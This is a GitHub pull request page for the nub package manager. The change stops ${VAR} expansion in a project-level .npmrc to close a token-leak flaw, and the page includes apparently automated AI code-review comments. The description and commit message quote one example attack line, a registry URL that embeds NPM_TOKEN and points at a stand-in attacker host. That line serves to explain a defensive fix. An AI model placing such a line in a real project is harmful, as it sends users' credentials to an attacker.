Skip to content

fix(pm): stop expanding env vars in a repo-controlled .npmrc (GHSA-3qhv-2rgh-x77r)#370

Open
jdalton wants to merge 3 commits into
nubjs:mainfrom
jdalton:security/npmrc-env-expansion-trust
Open

fix(pm): stop expanding env vars in a repo-controlled .npmrc (GHSA-3qhv-2rgh-x77r)#370
jdalton wants to merge 3 commits into
nubjs:mainfrom
jdalton:security/npmrc-env-expansion-trust

Conversation

@jdalton

@jdalton jdalton commented Jul 8, 2026

Copy link
Copy Markdown
Contributor

The problem

A .npmrc file that sits inside a project is part of whatever you check out, so a malicious clone or pull request gets to control it. When nub reads that file it replaces ${VAR} placeholders with the matching values from your environment (for example, your real NPM_TOKEN), and then nub itself makes a network request to the registry using the result.

So a pull request could add a .npmrc with a line like this:

registry=https://evil.example/${NPM_TOKEN}/

The moment you run nub install, nub swaps in your real token and sends a request to evil.example with the token embedded in the URL — handing your secret straight to the attacker. It happens during install, before any package lifecycle scripts run, so script-blocking protections don't help.

This is the same bug pnpm fixed in GHSA-3qhv-2rgh-x77r, patched in pnpm v10.34.2 and v11.5.3.

The fix

nub now only fills in ${VAR} placeholders from files you control:

  • Your own ~/.npmrc (in your home directory) and the npm_config_registry environment variable work exactly as before.
  • A project's .npmrc is used as-is: placeholders are left as plain text instead of being replaced. So ${NPM_TOKEN} stays the literal string ${NPM_TOKEN} — your real token is never read and never sent anywhere.

If you're on trusted CI and you genuinely need the project file's placeholders filled in, you can opt in with the PNPM_CONFIG_NPMRC_AUTH_FILE environment variable (same switch pnpm uses). Because that switch comes from the environment and not from a file in the repo, a malicious repo can't turn it on for you.

Adds 6 tests; cargo fmt and cargo clippy are clean.

…hv-2rgh-x77r)

A project-level .npmrc is authored by whatever is checked out — a clone or a
PR. nub interpolated ${VAR} in its registry URL and auth token lines against
the caller's environment, then made the authenticated request itself. A
committed registry=https://evil.example/${NPM_TOKEN}/ (or an auth line for an
attacker host) therefore exfiltrated the caller's secret on nub install, before
any lifecycle script ran — the pnpm GHSA-3qhv-2rgh-x77r class.

Expansion is now trust-aware: the env override and the user ~/.npmrc stay
expanded (operator-controlled); the project .npmrc is used literally unless the
operator opts in via PNPM_CONFIG_NPMRC_AUTH_FILE (read from the environment, so
a repo cannot self-trust). An untrusted ${NPM_TOKEN} leaves as the literal
placeholder — the secret never reaches the wire.
@vercel

vercel Bot commented Jul 8, 2026

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
nub Ready Ready Preview, Comment Jul 8, 2026 5:09am

Request Review

@pullfrog pullfrog Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Important

The trust gate treats PNPM_CONFIG_NPMRC_AUTH_FILE as a boolean, but in pnpm it is a path. A legitimate value that points at a non-project auth file would re-trust the repo-controlled project .npmrc and reopen the exfiltration this PR closes.

Reviewed changes — a security fix that makes ${VAR} expansion in .npmrc registry/auth values trust-aware, so a repo-controlled project .npmrc can no longer interpolate a caller secret into a registry URL or auth credential bound for an attacker host (GHSA-3qhv-2rgh-x77r).

  • Split project vs user .npmrc reads — new local read_npmrc_key reads one file with no project→user fallback, replacing workspace::scripts::npmrc_value on the registry path (that helper still serves script_shell and version-management, so it is not dead).
  • Trust-aware base selectionresolve_base now takes the env override, project registry, user registry, and a project_trusted flag; the project value expands only when trusted, otherwise it is used literally.
  • Layered auth resolutionnpmrc_auth_for/parse_npmrc_auth now take ordered (text, trusted) layers (project first/low precedence, user last/always trusted), preserving npm's per-prefix last-writer-wins while attaching trust per source.
  • Opt-in via project_npmrc_trusted — the project file re-trusts only when PNPM_CONFIG_NPMRC_AUTH_FILE is set in the environment, so a cloned/PR'd repo cannot self-trust.
  • Six unit tests — cover the untrusted-literal registry/auth paths, user-file expansion, project-over-user precedence, and the trusted-user-layer-overrides-untrusted-project case.

The core fix is sound — the layering, precedence, and the "repo can't self-trust because the flag comes from the environment" property all hold, and the tests exercise the load-bearing exfiltration guard directly. The one issue is the shape of the opt-in check; details inline.

Pullfrog  | Fix all ➔Fix 👍s ➔View workflow run | Using Claude Opus𝕏

Comment thread crates/nub-core/src/pm/registry.rs Outdated
PNPM_CONFIG_NPMRC_AUTH_FILE is a path, not a boolean: pnpm re-trusts the
project .npmrc only when the path resolves to that exact file. Trusting on
mere presence meant a legitimate non-project value (an absolute CI secret
file) re-trusted the repo-controlled .npmrc, reopening the exfiltration.
Now trust requires the resolved path to match <root>/.npmrc, fail-closed
when it can't be canonicalized. Also links the GHSA advisory in-source.

Addresses the PR review finding.

@pullfrog pullfrog Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

✅ No new issues found.

Reviewed changes — the incremental commit that reworks the project-.npmrc trust gate from a boolean presence check into a path-match check, resolving the blocking concern from the prior review.

  • Path-based trust gateproject_npmrc_trusted now takes root and delegates to a new pure auth_file_trusts_project, which resolves PNPM_CONFIG_NPMRC_AUTH_FILE (relative against cwd, per pnpm) and trusts the repo .npmrc only when the canonicalized path matches <root>/.npmrc exactly. It is fail-closed — if either path can't canonicalize, it returns untrusted rather than risk trusting a repo-controlled file.
  • New exact-path-match testauth_file_trusts_project_only_on_exact_path_match covers absolute-at-project and relative-.npmrc-at-project (trusted) plus a different auth file and an unresolvable path (both untrusted), pinning the reopened-exfiltration case shut.
  • Doc refresh — the project_npmrc_trusted / resolve_base doc comments now state the path-not-boolean semantics and the fail-closed rationale.

The prior review's blocking concern — that any non-project PNPM_CONFIG_NPMRC_AUTH_FILE value re-trusted the repo .npmrc and reopened GHSA-3qhv-2rgh-x77r — is fully addressed. The gate now trusts only when the configured path resolves to the project's own .npmrc, so a legitimate absolute CI secret file no longer self-trusts the checkout. The cwd-vs-root divergence in the provision.rs caller resolves in the safe direction (fail-closed), consistent with pnpm's cwd-relative rule.

Pullfrog  | View workflow run | Using Claude Opus𝕏

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant